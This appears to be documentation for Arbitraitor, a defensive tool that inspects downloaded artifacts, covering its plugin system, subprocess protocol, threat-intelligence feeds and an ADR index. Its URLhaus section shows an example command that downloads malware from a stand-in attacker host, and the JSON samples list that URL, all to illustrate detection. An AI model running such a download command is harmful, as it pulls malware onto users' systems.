arbitraitor-update

Signed update manifest verification.

Owns: Minisign verification, update manifest parsing, manifest validation, target verification Must not: Network retrieval, policy decisions

arbitraitor-testkit

Test infrastructure for integration testing.

Owns: Mock HTTP server, SSRF test helpers, TLS test helpers, raw TCP server (truncation/malformed response), HTTPS test fixtures Must not: Production code paths

Dependency graph (simplified)

arbitraitor-cli
├── arbitraitor-core
│   ├── arbitraitor-model
│   ├── arbitraitor-fetch
│   ├── arbitraitor-store
│   ├── arbitraitor-analysis
│   │   ├── arbitraitor-shell
│   │   ├── arbitraitor-archive
│   │   ├── arbitraitor-yarax
│   │   ├── arbitraitor-powershell
│   │   └── arbitraitor-plugin-host
│   ├── arbitraitor-policy
│   ├── arbitraitor-provenance
│   ├── arbitraitor-intel
│   ├── arbitraitor-exec
│   ├── arbitraitor-sandbox
│   ├── arbitraitor-receipt
│   └── arbitraitor-daemon
├── arbitraitor-artifact
├── arbitraitor-mcp
├── arbitraitor-wrapper
├── arbitraitor-package-manager
├── arbitraitor-update
└── arbitraitor-testkit (dev-dep)

Public API vs internal

Public (re-exported through arbitraitor prelude)

  • Arbitraitor::new(), .inspect(), .run(), .approve(), .execute()
  • Finding, Verdict, Receipt, ArtifactId, Sha256Digest
  • Policy, PolicyEngine
  • Config, ConfigBuilder

Internal (not exported)

  • All detector implementations (except through trait objects)
  • Store implementation details
  • Fetch connector internals
  • Plugin host internals
  • Sandbox implementation details

Boundary rules

  1. No detector calls release/execution directly. Detectors produce Finding structs. The core state machine produces verdicts and orchestrates release.
  2. No crate re-fetches after approval. Single retrieval is a security invariant.
  3. redb is a non-authoritative cache. CAS digest + receipts are authoritative for identity.
  4. No reqwest types across boundaries. All HTTP goes through the Fetcher trait.
  5. Newtypes for all semantic primitives. Sha256Digest, not String; ArtifactId, not String.

Adding a new crate

When adding a new crate:

  1. Add to workspace.members in Cargo.toml
  2. Define strict ownership in the crate README
  3. Add boundary assertions in the parent crate’s tests
  4. Document any new public API in the module docstring
  5. Add an ADR if the crate represents an architectural decision

Plugins Overview

Arbitraitor supports a plugin system for extending detection, intelligence, and execution capabilities. Plugins are isolated from the core using either the Wasmtime Component Model or a subprocess protocol.

Plugin types

TypeRoleExamples
DetectorAnalyzes artifacts, returns findingsYARA-X rules, custom AV, language analyzers
IntelligenceProvides threat indicatorsURLhaus adapter, community feed, custom TI
ProvenanceVerifies signatures and attestationsminisign, cosign, custom PKI
WrapperTranslates download tool argumentscurl, wget, fetch

Each plugin type has a specific WIT world (interface contract) that limits what capabilities it can access.

Trust tiers

Plugins are classified by trust level:

TierDescriptionEnforcement
Built-inShips with ArbitraitorAlways loaded in enforcement mode
First-partyDeveloped by ArbSec teamAlways loaded, code reviewed
CommunitySubmitted by usersDisabled by default in enforcement mode

See ADR 0011 for the full trust classification model.

Plugin manifest

Every plugin has a manifest.toml:

[plugin]
id = "my-detector"
name = "My Custom Detector"
version = "1.0.0"
type = "detector"  # detector | intelligence | provenance | wrapper

# WIT world this plugin implements
world = "arbitraitor:plugin/detector"

# Trust tier
trust_class = "community"  # builtin | first_party | community

# Plugin binary
[plugin.runtime]
type = "wasmtime"  # wasmtime | subprocess
path = "./my-detector.wasm"

# Or for subprocess:
[plugin.runtime]
type = "subprocess"
path = "/usr/local/bin/my-detector"
expected_digest = "sha256:abc123..."

# Capabilities requested by this plugin
[plugin.capabilities]
# For WASM: declared in WIT, enforced by runtime
# For subprocess: explicit allowlist
allow_network = false
allow_filesystem_read = ["/tmp/arbitraitor"]
allow_environment = []

Plugin lifecycle

discover -> load -> init -> call -> shutdown

Discover

Plugins are discovered from configured search directories:

  1. Read ~/.arbitraitor/plugins/*/manifest.toml
  2. Validate manifest schema
  3. Check trust class against policy
  4. Add to available plugin registry

Load

The plugin host loads the runtime instance:

  • Wasmtime: Initialize Wasmtime engine with resource limits
  • Subprocess: Spawn process with clean environment, closed descriptors

Init

The plugin receives initialization data:

#![allow(unused)]
fn main() {
// For WASM plugins
init {
    config: PluginConfig,
    workspace: WorkspaceCapabilities,
}

// For subprocess plugins
{"type": "init", "config": {...}}
}

The plugin validates the config and returns capabilities it will use.

Call

The core calls the plugin with input data:

#![allow(unused)]
fn main() {
// For detector plugins
fn analyze(&self, artifact: ArtifactHandle) -> Vec<Finding>;

// For intelligence plugins
fn lookup(&self, indicator: Indicator) -> Vec<IndicatorMatch>;
}

Shutdown

When the pipeline completes or a timeout is reached, the plugin is dropped:

  • WASM: Guest memory is freed, resource limits are enforced
  • Subprocess: Process is terminated with SIGTERM, then SIGKILL if needed

Capability enforcement

Plugins declare capabilities in their WIT interface and cannot exceed them at runtime.

Wasmtime sandbox defaults

ControlDefault
NetworkNone
FilesystemNone
EnvironmentNone
ClockDeterministic or host-provided only
MemoryBounded (128 MB default)
Execution fuelBounded (1B instructions default)
Host callsBounded by count and deadline

Component Model execution (ADR-0006, spec §41.9.1)

WasmPlugin loads a .wasm Component Model binary, instantiates it inside the sandboxed Wasmtime engine, and calls the analyze export. Host bindings are generated at compile time via wasmtime::component::bindgen! from the workspace WIT file (wit/arbitraitor-plugin.wit), selecting the detector world.

The three host imports (get-artifact-bytes, get-artifact-size, log) are implemented on DetectorStore, which enforces the ADR-0006 wall-clock deadline on every host call. Fuel and epoch interruption bound guest execution; traps, OOM, and fuel exhaustion return WasmPluginError::Trap — the sandbox boundaries hold and the host continues safely.

The DetectorPlugin::analyze trait impl calls analyze_artifact internally and returns empty findings on error (fail-safe per conventions). Callers that need typed errors should use analyze_artifact directly with a cached WasmEngine reference.

Subprocess controls

ControlEnforcement
Executable pathAllowlisted, digest-pinned
ArgumentsStructured (no raw shell strings)
EnvironmentClean, explicit allowlist
DescriptorsClosed inherited
Process groupIsolated (Job Object on Windows)
TimeoutEnforced with kill-tree
Output sizeLimited
MemoryLimited via cgroup/resource limits

Writing a detector plugin

See WIT Interfaces for the detector world definition and Subprocess Protocol for the JSON protocol format.

Plugin security

  • Plugins cannot access the filesystem unless explicitly granted
  • Plugins cannot make network calls unless explicitly granted
  • WASM plugins are memory-isolated from the host process
  • Subprocess plugins are killed if they exceed resource limits
  • No plugin can bypass the approval flow

Wasmtime CVE risk register

The Wasmtime runtime is tracked against known CVEs in

ADR 0037. The risk register catalogs all advisories from the Bytecode Alliance GitHub Security Advisories and the RustSec database, and records whether the pinned version is affected. The cargo-deny advisories check in CI automatically fails if a new advisory affects the pinned wasmtime version.

Subprocess Protocol

Some plugins run as native subprocesses rather than Wasm components. This is used for integrations that require platform-specific binaries (e.g., antivirus scanners, package managers) that cannot be compiled to WASM.

Protocol design

Communication uses length-prefixed JSON frames over stdin/stdout:

┌─ frame 1: request ────────────────────────────────────┐
│  {"jsonrpc": "2.0", "id": 1, "method": "analyze", ...}  │
└────────────────────────────────────────────────────────┘
┌─ frame 2: response ───────────────────────────────────┐
│  {"jsonrpc": "2.0", "id": 1, "result": {...}}           │
└────────────────────────────────────────────────────────┘

Each frame is preceded by an 8-byte big-endian length header:

[0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x2B]  # 299 bytes follows

Message types

init

Sent once after process spawn to configure the plugin.

Request:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "init",
  "params": {
    "config": {
      "rule_paths": ["/etc/arbitraitor/rules"],
      "timeout_ms": 5000
    },
    "capabilities": {
      "allow_network": false,
      "allow_filesystem_read": ["/tmp"],
      "allow_environment": []
    }
  }
}

Response:

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "version": "1.0.0",
    "ready": true,
    "max_concurrent_calls": 4
  }
}

analyze

Analyze an artifact.

Request:

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "analyze",
  "params": {
    "artifact": {
      "digest": "sha256:abc123...",
      "path": "/tmp/arbitraitor/artifact-xyz",
      "content_type": "application/x-shellscript"
    },
    "options": {
      "depth": 0,
      "parent_digest": null
    }
  }
}

Response:

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "findings": [
      {
        "id": "custom:malicious-pattern",
        "severity": "high",
        "title": "Matched malicious pattern",
        "description": "Found known bad pattern at offset 0x1a2b",
        "locations": [
          {"path": "/tmp/artifact", "offset": 6699, "line": 42}
        ]
      }
    ],
    "metadata": {
      "rules_loaded": 1847,
      "analysis_time_ms": 23
    }
  }
}

lookup

Look up an indicator in intelligence feeds.

Request:

{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "lookup",
  "params": {
    "indicator": {
      "type": "url",
      "value": "https://evil.example.com/malware.exe"
    }
  }
}

Response:

{
  "jsonrpc": "2.0",
  "id": 3,
  "result": {
    "matches": [
      {
        "indicator_type": "url",
        "indicator_value": "https://evil.example.com/malware.exe",
        "source": "urlhaus",
        "confidence": "high",
        "last_seen": "2026-06-20T12:00:00Z",
        "tags": ["malware", "payload"]
      }
    ]
  }
}

shutdown

Clean plugin shutdown.

Request:

{
  "jsonrpc": "2.0",
  "id": 4,
  "method": "shutdown",
  "params": {}
}

Response:

{
  "jsonrpc": "2.0",
  "id": 4,
  "result": {
    "ok": true
  }
}

Error responses

{
  "jsonrpc": "2.0",
  "id": 2,
  "error": {
    "code": -32603,
    "message": "Analysis timed out",
    "data": {
      "stage": "pattern_matching",
      "elapsed_ms": 5000
    }
  }
}

Error codes:

CodeMeaning
-32700Parse error (malformed JSON)
-32600Invalid request (wrong method or params)
-32603Internal error (plugin crashed or timed out)
-32000Artifact not found
-32001Unsupported content type

Writing a subprocess plugin

1. Create the manifest

[plugin]
id = "my-av"
name = "My Antivirus"
version = "1.0.0"
type = "detector"

[plugin.runtime]
type = "subprocess"
path = "/usr/local/bin/my-av-scanner"
expected_digest = "sha256:abc123..."

[plugin.capabilities]
allow_network = false
allow_filesystem_read = ["/var/lib/my-av"]
allow_environment = []

2. Implement the protocol

use std::io::{self, Read, Write};

fn main() {
    let mut stdin = io::stdin().lock();
    let mut stdout = io::stdout().lock();

    loop {
        // Read frame header (8 bytes)
        let mut header = [0u8; 8];
        stdin.read_exact(&mut header).unwrap();
        let len = u64::from_be_bytes(header) as usize;

        // Read frame body
        let mut body = vec![0u8; len];
        stdin.read_exact(&mut body).unwrap();

        // Parse JSON-RPC request
        let request: serde_json::Value = serde_json::from_slice(&body).unwrap();
        let id = request["id"].as_i64().unwrap();
        let method = request["method"].as_str().unwrap();

        // Handle request
        let response = match method {
            "init" => handle_init(&request["params"]),
            "analyze" => handle_analyze(&request["params"]),
            "lookup" => handle_lookup(&request["params"]),
            "shutdown" => break handle_shutdown(&request["params"]),
            _ => error_response(id, -32600, "Unknown method"),
        };

        // Write response frame
        let json = serde_json::to_vec(&response).unwrap();
        let header = (json.len() as u64).to_be_bytes();
        stdout.write_all(&header).unwrap();
        stdout.write_all(&json).unwrap();
        stdout.flush().unwrap();
    }
}

3. Security considerations

  • Never echo untrusted input back to stdout
  • Always honor resource limits
  • Use structured output, never shell interpolation
  • Validate all input before processing

WIT Interfaces

Arbitraitor uses the WebAssembly Component Model (WASI Preview 2) for plugin isolation. Plugins are compiled to WASM components and communicate through WIT-defined interfaces.

WIT overview

WIT (WebAssembly Interface Types) defines the types and functions a component can import and export. Each Arbitraitor plugin world has its own WIT package.

Plugin worlds

Detector world

package arbitraitor:plugin/detector@1.0.0;

interface analyzer {
  record artifact {
    digest: string,
    content-type: string,
  }

  record finding {
    id: string,
    severity: severity,
    title: string,
    description: string,
    locations: list<location>,
  }

  enum severity {
    low,
    medium,
    high,
    critical,
  }

  record location {
    path: string,
    offset: u64,
    line: u32,
  }

  analyze: func(artifact: artifact) -> list<finding>;
}

world detector {
  export analyzer;
}

Intelligence world

package arbitraitor:plugin/intelligence@1.0.0;

interface lookup {
  record indicator {
    type: indicator-type,
    value: string,
  }

  enum indicator-type {
    url,
    domain,
    ip-address,
    sha256,
    email,
  }

  record match {
    indicator: indicator,
    source: string,
    confidence: confidence,
    last-seen: string,
    tags: list<string>,
  }

  enum confidence {
    low,
    medium,
    high,
  }

  lookup: func(indicator: indicator) -> list<match>;
}

world intelligence {
  export lookup;
}

Provenance world

package arbitraitor:plugin/provenance@1.0.0;

interface verifier {
  record artifact {
    digest: string,
    size: u64,
  }

  record attestation {
    type: attestation-type,
    signer: string,
    timestamp: string,
    data: list<u8>,
  }

  enum attestation-type {
    minisign,
    cosign,
    tuf,
    gpg,
  }

  verify: func(artifact: artifact) -> option<attestation>;
}

world provenance {
  export verifier;
}

Wrapper world

package arbitraitor:plugin/wrapper@1.0.0;

interface translator {
  record command {
    tool: string,
    args: list<string>,
    env: list<tuple<string, string>>,
  }

  translate: func(command: command) -> result<command, string>;
}

world wrapper {
  export translator;
}

Host functions

Plugins can call host functions provided by Arbitraitor:

package arbitraitor:plugin/host@1.0.0;

interface host {
  // Read artifact bytes (opaque handle)
  read-artifact: func(digest: string) -> list<u8>;

  // Log a message
  log: func(level: log-level, message: string);

  // Get current time
  wall-clock: func() -> tuple<u64, u32>;  // seconds, nanoseconds

  // Get deterministic time for the current operation
  operation-time: func() -> tuple<u64, u32>;

  enum log-level {
    debug,
    info,
    warn,
    error,
  }
}

world host {
  import host;
}

Compiling a Wasm component

1. Install tooling

cargo install cargo-component
wasmtime --version

2. Define WIT

Create wit/my-detector.wit:

package my-org:my-detector@1.0.0;

interface analyzer {
  record artifact {
    digest: string,
    content-type: string,
  }

  record finding {
    id: string,
    severity: severity,
    title: string,
    description: string,
  }

  enum severity {
    low,
    medium,
    high,
    critical,
  }

  analyze: func(artifact: artifact) -> list<finding>;
}

world my-detector {
  export analyzer;
}

3. Implement in Rust

# my-detector/Cargo.toml
[package]
name = "my-detector"
version = "1.0.0"
edition = "2021"

[lib]
crate-type = ["cdylib"]

[dependencies]
wit-bindgen = "0.28"
serde = { version = "1.0", features = ["derive"] }

[profile.release]
opt-level = "s"
lto = true
#![allow(unused)]
fn main() {
// src/lib.rs
use wit_bindgen::generate;

generate!({
    world: "my-detector",
    exports: {
        "my-org:my-detector/analyzer": Analyzer,
    }
});

struct Analyzer;

impl exports::analyzer::Analyzer for Analyzer {
    fn analyze(artifact: exports::analyzer::Artifact) -> Vec<exports::analyzer::Finding> {
        // Read artifact bytes via host
        let bytes = host::host::read_artifact(&artifact.digest);

        // Analyze content
        let mut findings = Vec::new();

        if contains_malicious_pattern(&bytes) {
            findings.push(exports::analyzer::Finding {
                id: "my-detector:bad-pattern".to_string(),
                severity: exports::analyzer::Severity::High,
                title: "Malicious pattern detected".to_string(),
                description: "Found known bad pattern".to_string(),
            });
        }

        findings
    }
}
}

4. Build

cargo component build --release
# Output: target/wasm32-wasip2/release/my_detector.wasm

Host function reference

read-artifact

Reads artifact bytes from CAS by digest. The plugin receives the content it was approved to analyze.

#![allow(unused)]
fn main() {
fn read-artifact(digest: &str) -> Vec<u8>
}

log

Logs a message at the specified level.

#![allow(unused)]
fn main() {
fn log(level: LogLevel, message: &str)
}

wall-clock

Returns the current wall clock time.

#![allow(unused)]
fn main() {
fn wall-clock() -> (u64, u32)  // (seconds since epoch, nanoseconds)
}

operation-time

Returns a deterministic time for the current operation. This is monotonically increasing within a single pipeline run, allowing plugins to implement time-based logic without breaking determinism.

#![allow(unused)]
fn main() {
fn operation-time() -> (u64, u32)  // (seconds, nanoseconds)
}

Resource limits

The host enforces resource limits on all plugins:

ResourceDefault limit
Memory128 MB
Execution fuel1 billion instructions
Call deadline5 seconds
Host calls per invocation100
Output size1 MB

Plugin Registry

The plugin registry manages discovery, loading, and lifecycle of all Arbitraitor plugins.

Directory structure

Arbitraitor searches for plugins in these directories (in order):

  1. Built-in plugins (compiled into the binary)
  2. ~/.arbitraitor/plugins/ (user-local)
  3. ./plugins/ (project-local)

Each plugin lives in its own subdirectory:

~/.arbitraitor/plugins/
├── my-detector/
│   ├── manifest.toml
│   └── my-detector.wasm
├── urlhaus/
│   ├── manifest.toml
│   └── urlhaus.wasm
└── my-wrapper/
    ├── manifest.toml
    └── my-wrapper

Manifest format

[plugin]
id = "my-detector"
name = "My Custom Detector"
version = "1.0.0"
description = "Detects custom threat patterns"
authors = ["Your Name <you@example.com>"]

# Plugin type
type = "detector"  # detector | intelligence | provenance | wrapper

# WIT world
world = "arbitraitor:plugin/detector"

# Trust classification
trust-class = "community"  # builtin | first_party | community

[plugin.runtime]
type = "wasmtime"  # wasmtime | subprocess
path = "my-detector.wasm"

# For subprocess plugins:
# type = "subprocess"
# path = "/usr/local/bin/my-detector"
# expected-digest = "sha256:abc123..."

[plugin.capabilities]
# Network access (none allowed by default)
allow-network = false

# Filesystem read paths
allow-filesystem-read = []

# Environment variables
allow-environment = []

# For WASM plugins, capabilities are declared in WIT
# For subprocess plugins, they are enforced via manifest

[plugin.limits]
max-memory = "128MB"
max-call-time-ms = 5000
max-fuel = 1_000_000_000

[plugin.policy]
# Auto-load in enforcement mode
enforcement-load = false  # community plugins default to false

Discovery process

1. Scan plugin directories
2. Parse each manifest.toml
3. Validate against schema
4. Check trust class against active policy
5. Register if policy allows
6. Load runtime on first use

Discovery runs at Arbitraitor startup and when --reload-plugins is passed.

Trust class enforcement

The policy controls which trust classes can load:

[policy.plugins]
# Allow all built-in and first-party plugins
allow-builtin = true
allow-first-party = true

# Community plugins require explicit enable
allow-community = false

To run a community plugin:

[policy.plugins.community]
my-detector = { enabled = true }

Plugin states

A plugin can be in one of these states:

StateMeaning
DiscoveredFound in directory, manifest valid
RegisteredPassed trust check, in plugin registry
LoadedRuntime instance created
InitializedReceived init call, ready to process
RunningProcessing a request
FailedError during load, init, or call
UnloadedDropped due to idle or shutdown

Loading and initialization

Plugins are loaded lazily on first use:

PluginRegistry::get("my-detector")
  -> check trust class
  -> check not already loaded
  -> load runtime (Wasmtime or subprocess)
  -> send init message
  -> return plugin handle

The plugin receives its configuration and declared capabilities. It returns its version and concurrency limits.

Subprocess plugin restrictions

Subprocess plugins run as isolated processes with:

  • Executable path: Must be in the allowlist and digest-pinned
  • Arguments: No shell interpolation, structured JSON only
  • Environment: Clean environment, no inherited variables
  • File descriptors: Closed except for stdin/stdout
  • Process group: Isolated (Job Object on Windows)
  • Resource limits: Memory, CPU, time enforced via cgroup/ulimit

Plugin API versioning

WIT packages are versioned semantically. The plugin host tracks compatibility:

Host versionPlugin world versionCompatible
1.0.01.0.0Yes
1.0.01.1.0Yes (minor backward compat)
1.0.02.0.0No (major bump)
1.0.00.9.0No (preview)

The manifest.toml declares which world version the plugin implements.

Intelligence Overview

Arbitraitor’s intelligence system matches artifacts and indicators against threat intelligence feeds to improve detection accuracy.

How intelligence works

Artifact or indicator
       │
       ▼
┌──────────────────┐
│ Intelligence      │
│ Pipeline          │
│                   │
│ 1. Extract        │
│    indicators     │
│    (URLs, IPs,    │
│    hashes, etc.)  │
│                   │
│ 2. Query feeds    │
│    in parallel    │
│                   │
│ 3. Aggregate      │
│    matches        │
│                   │
│ 4. Apply to       │
│    findings       │
└──────────────────┘
       │
       ▼
   Findings with
   TI enrichment

Supported indicator types

TypeDescription
URLFull URL with path
DomainDomain name (exact or substring)
IP AddressIPv4 or IPv6 address
SHA-256File digest
EmailEmail address

Feed types

Built-in feeds

FeedTypeDescription
URLhausMalware URLAbuse.ch malware URL database
CommunityIndicatorsArbSec community submissions

Custom feeds

Arbitraitor supports any feed that exposes a JSON or CSV API:

[intel.feeds.my-feed]
enabled = true
url = "https://feeds.example.com/indicators.json"
type = "json"  # json | csv
api-key = "secret://env/MY_FEED_API_KEY"
refresh-interval = "1h"
cache-ttl = "24h"

[intel.feeds.my-feed.format]
indicator-field = "indicator"
type-field = "type"
tags-field = "tags"
confidence-field = "confidence"

Matching engine

The matching engine processes indicators in stages:

Stage 1: Extraction

Extracts indicators from the artifact:

  • URLs from shell scripts, HTML, JavaScript
  • Domain names from URLs
  • IP addresses from network-related content
  • File hashes from referenced files (if accessible)

Stage 2: Feed queries

Each extracted indicator is queried against enabled feeds in parallel:

#![allow(unused)]
fn main() {
let results = feed_lookup(indicator).await;
// Returns Vec<IndicatorMatch>
}

Stage 3: Aggregation

Matches from multiple feeds are aggregated:

  • Deduplicated by indicator + source
  • Confidence scores normalized
  • Tags merged

Stage 4: Finding enrichment

Enriched indicators are added to findings:

{
  "id": "network:curl",
  "severity": "high",
  "title": "Downloads content via curl",
  "intel": [
    {
      "indicator": "https://evil.example.com/payload.exe",
      "source": "urlhaus",
      "confidence": "high",
      "tags": ["malware", "payload"]
    }
  ]
}

Indicator matching

URL matching

URLs match if:

  • Exact match: https://evil.example.com/malware.exe
  • Domain match: any path under evil.example.com
  • Pattern match: configurable wildcard patterns

Hash matching

SHA-256 hashes match exactly:

  • Artifact digest matches a known malware hash
  • Referenced file digests match known malware

Confidence levels

LevelMeaning
LowSingle source, unverified
MediumMultiple sources or recent report
HighActive campaign, multiple reports

High-confidence intelligence matches can escalate findings even if the static analysis alone would not.

Feed freshness

Feeds are refreshed on a configured interval:

[intel.feeds.urlhaus]
refresh-interval = "1h"  # Check for updates every hour
cache-ttl = "24h"        # Stale after 24 hours

If a feed is stale (last refresh > TTL), its matches are downgraded:

High confidence -> Medium
Medium confidence -> Low
Low confidence -> Ignored

Configuring intelligence

See Configuration for the full [intel] section reference.

Feeds

Arbitraitor integrates with threat intelligence feeds to enrich detection findings.

URLhaus

URLhaus is an Abuse.ch project that tracks malware distribution URLs.

Configuration

[intel.feeds.urlhaus]
enabled = true
url = "https://urlhaus.abuse.ch/downloads/json/"
# api-key is optional for public access
# api-key = "secret://env/URLHAUS_API_KEY"
refresh-interval = "1h"
cache-ttl = "24h"

Feed format

URLhaus provides JSON in this format:

[
  {
    "id": "12345",
    "urlhaus_status": "online",
    "url": "https://evil.example.com/malware.exe",
    "url_status": "online",
    "threat": "malware_download",
    "tags": ["trojan", "payload"],
    "payload_status": "online",
    "firstseen": "2026-06-01 12:00:00 UTC",
    "lastseen": "2026-06-20 08:00:00 UTC",
    "sophos_threat": "Trojan.Generic"
  }
]

Indicator mapping

URLhaus fieldArbitraitor field
urlindicator.value
threattags[]
sophos_threattags[]
firstseenmetadata
lastseenlast-seen
urlhaus_status == “offline”Ignored

Confidence scoring

URLhaus matches are scored by recency:

Last seenConfidence
< 24 hoursHigh
< 7 daysMedium
>= 7 daysLow
UnknownLow

Using URLhaus with shell analysis

When the shell detector finds a curl or wget command, it automatically queries URLhaus for the download URL:

curl -fsSL https://evil.example.com/malware.exe

If the URL is in URLhaus:

Findings:
  network:curl              high      Downloads content via curl
  ├─ Intel: URLhaus         high      Known malware download URL
  │  └─ https://evil.example.com/malware.exe
  └─ Malware type: Trojan.Generic

Freshness requirements

URLhaus is expected to be current within 1 hour. The feed is refreshed automatically and cached locally.

Offline behavior

If URLhaus cannot be reached during a pipeline run:

  • Fresh cache available: Use cached data, log warning
  • No cache: Skip URLhaus lookup, proceed without intelligence enrichment
  • Intelligence lookup failure never blocks inspection

OpenSSF malicious packages

OpenSSF malicious-packages publishes malicious package reports as OSV advisories with MAL-YYYY-NNNN identifiers. Arbitraitor ingests these as osv-mal indicators from OSV.dev querybatch responses or signed mirrors.

Update command

arbitraitor intel update --ossf-malicious-packages

Use --ossf-malicious-packages-url to point at a pre-fetched signed mirror or test fixture. Network access is explicit; package inspection does not perform implicit live OSV lookups.

Indicator mapping

OSV fieldArbitraitor field
id beginning with MAL-indicator.value with indicator_type = "osv-mal"
modified / publishedsource_update_time, first_seen
affected[].packageevidence package label
summary / details / aliasesevidence notes

Freshness requirements

OpenSSF malicious-package snapshots are Tier-1 current when mirrored from OSV data updated within 24 hours. Policies that require current package-malware intelligence fail closed when the signed snapshot is stale or unavailable.

Community Feed

The ArbSec community feed aggregates indicators submitted by users and reviewed by the security team.

Configuration

[intel.feeds.community]
enabled = true
url = "https://api.arbitraitor.org/community/indicators"
api-key = "secret://env/COMMUNITY_API_KEY"
refresh-interval = "6h"
cache-ttl = "24h"

Submission process

  1. User submits indicator via CLI or API
  2. Automated checks (duplicates, formatting)
  3. Manual review by ArbSec security team
  4. Approved indicators published to feed

See Community Submissions for the full submission workflow.

Indicator trust

Community indicators are tagged by review status:

TagMeaning
reviewedManually reviewed by security team
automatedAdded by automated pipeline
source:userSubmitted by verified user

The confidence score reflects the review depth.

Community Submissions

The community intelligence system allows Arbitraitor users to contribute and benefit from shared threat intelligence.

How it works

User discovers indicator
        │
        ▼
┌──────────────────┐
│ Submission API    │
│                    │
│ 1. Validate       │
│    indicator       │
│                    │
│ 2. Check for      │
│    duplicates      │
│                    │
│ 3. Score          │
│    automatically  │
│                    │
│ 4. Queue for      │
│    review          │
└──────────────────┘
        │
        ▼
┌──────────────────┐
│ Security Review   │
│                    │
│ Manual review     │
│ by ArbSec team    │
│                    │
│ Approve / Reject  │
│ with reason       │
└──────────────────┘
        │
        ▼
┌──────────────────┐
│ Transparency Log  │
│                    │
│ Append-only log   │
│ of all decisions  │
│                    │
│ Public audit      │
└──────────────────┘
        │
        ▼
Published to feed

Submission criteria

Valid submissions include:

  • Malware distribution URLs found in scripts or packages
  • Typosquatting domains that impersonate legitimate software
  • Compromised package registries with malicious packages
  • Known malicious hash prefixes for large malware families
  • Phishing kits detected in wild

Invalid submissions (rejected):

  • Private personal data
  • Heuristic-only findings without confirmation
  • Indicators from internal Red Team assessments (not shared externally)
  • Duplicate submissions

Trust tiers

Submitters are classified by trust tier:

TierDescriptionScore modifier
VerifiedIdentity-verified submitters+1 confidence
TrustedLong-standing community members+0
NewNew accounts-1 confidence
AnonymousNo accountNot accepted

Review workflow

Step 1: Automated checks

#![allow(unused)]
fn main() {
// Automated validation
if is_duplicate(indicator) { return Reject("duplicate") }
if !is_valid_format(indicator) { return Reject("invalid_format") }
if contains_pii(indicator) { return Reject("pii_found") }
if !passes_heuristics(indicator) { return Flag("needs_review") }
}

Step 2: Triage

Indicators are triaged based on:

  • Source tier (verified, trusted, new)
  • Severity (critical, high, medium)
  • Confidence (high, medium, low)
  • Tags overlap with existing indicators

High-confidence critical indicators from verified sources can be fast-tracked.

Step 3: Review

A reviewer examines:

  • Source of the indicator (how was it discovered?)
  • Supporting evidence (sample, VT report, blog post)
  • Context (targeted campaign, opportunistic)

Step 4: Decision

DecisionMeaning
ApproveIndicator published to feed
RejectIndicator not published, submitter notified
EscalateForward to appropriate party (e.g., CERT)
Needs more infoReviewer requests additional context

Transparency log

All decisions are recorded in an append-only transparency log:

{
  "log_version": "1.0",
  "entries": [
    {
      "index": 12345,
      "timestamp": "2026-06-23T12:00:00Z",
      "action": "approve",
      "indicator": {
        "type": "url",
        "value": "https://evil.example.com/malware.exe"
      },
      "submitter": "user:abc123",
      "reviewer": "arbsec:reviewer:xyz",
      "reason": "Confirmed malware via sandbox execution",
      "evidence": ["https://example.com/vt-report"]
    },
    {
      "index": 12346,
      "timestamp": "2026-06-23T13:00:00Z",
      "action": "reject",
      "indicator": {
        "type": "domain",
        "value": "legitimate-software.com"
      },
      "submitter": "user:def456",
      "reviewer": "arbsec:reviewer:xyz",
      "reason": "Legitimate software domain, not typosquatting"
    }
  ]
}

The log is publicly readable and can be audited to verify the integrity of decisions.

Dispute resolution

If a submitter believes an indicator was incorrectly rejected:

  1. File a dispute through the API with dispute_reason
  2. Original reviewer re-examines
  3. If upheld, escalate to senior reviewer
  4. Final decision recorded in transparency log

Disputes cannot overturn approval decisions by reviewers.

API reference

Submit indicator

POST /api/v1/indicators
Authorization: Bearer <token>
Content-Type: application/json

{
  "indicator": {
    "type": "url",
    "value": "https://evil.example.com/malware.exe"
  },
  "source": "found-in-shellscript",
  "evidence": [
    {
      "type": "url",
      "value": "https://example.com/vt-report"
    }
  ],
  "tags": ["malware", "payload"]
}

Response

{
  "id": "ind-abc123",
  "status": "pending_review",
  "estimated_review_time": "48h"
}

Architecture Decision Records

An ADR captures a decision that is architecturally significant, security-sensitive, or expensive to change later. Each ADR is immutable once accepted; a new ADR must supersede it.

States

  • Proposed — draft, open for discussion
  • Accepted — decision is final and binding
  • Superseded — replaced by a later ADR (reference included)
  • Rejected — considered but not adopted (reasons recorded)

Index

Foundational

ADRTitleStatusIssue
0001Rust 2024 and toolchain policyAccepted
0002Workspace structure and crate boundariesAccepted
0003reqwest behind Fetcher traitAccepted
0004TOML for configuration and policyAccepted
0005redb as non-authoritative metadata indexAccepted#12
0006Wasmtime Component Model for pluginsAccepted

Security architecture (P0 from adversarial review)

ADRTitleStatusIssue
0007Assurance levels model (inspect/mediated/contained)Accepted#2
0008Execution context security profileAccepted#3
0009Privilege separation and no-root invariantAccepted#4
0010Platform provenance preservationAccepted#5
0011Plugin trust classification modelAccepted#6
0012TUF implementation selectionAccepted#7
0013Plan-bound approval capability modelAccepted#8
0014Receipt canonicalization (RFC 8785 JCS)Accepted#9
0015Safe destination release semanticsAccepted#10
0016Terminal and Unicode sanitization rendererAccepted#11
0017Monotonic project configurationAccepted#13
0018SSRF, proxy, and connected-peer verificationAccepted#14
0019catch_unwind and panic=abort interactionAccepted#80
0020Seccomp-BPF network isolation for subprocess pluginsAccepted#208
0021Landlock filesystem isolation for subprocess pluginsAccepted#209
0022SLSA Build Level target for Arbitraitor releasesAccepted#272
0023in-toto Statement receipt envelopeAccepted#273
0024macOS containment strategyAccepted#279
0025OpenSSF Scorecard, deps.dev, and GUAC as optional integrationsAccepted#275
0026EU CRA / NIST SSDF informational compliance mappingAccepted#276
0027CLI inspect pipeline boundaryAccepted#436
0028Landlock ABI probe and receipt recordingAccepted#466
0029VEX format support matrixAccepted#468
0030SBOM/VEX ingestion profiles (CISA 2025 minimum elements + SBOM-for-AI)Accepted#467
0031OpenSSF malicious-packages feed via OSV.devAccepted#474
0032Tar parser consensus checkAccepted#459
0033Fetch cross-protocol credential secrecyAccepted#472
0034Apple Containerization GA strategy for macOS 26+Proposed#475
0035LNK argument padding detection (CVE-2025-9491)Accepted#473
0036run pipeline content-type execution gateAccepted#612
